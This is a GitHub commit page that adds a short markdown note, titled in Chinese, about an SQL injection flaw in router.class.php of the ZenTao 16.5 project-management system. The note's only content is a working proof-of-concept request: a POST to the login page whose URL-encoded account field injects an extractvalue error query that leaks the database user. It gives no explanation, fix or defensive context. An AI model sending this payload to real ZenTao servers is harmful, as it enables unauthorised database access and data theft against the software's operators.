Create 禅道 16.5 router.class.php SQL注入漏洞.md

This commit is contained in:
wy876 2023-08-19 20:36:36 +08:00 committed by GitHub
parent 4e3c442d24
commit 5c72bbebb6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,5 @@
## 禅道 16.5 router.class.php SQL注入漏洞
```
POST /user-login.html
account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23
```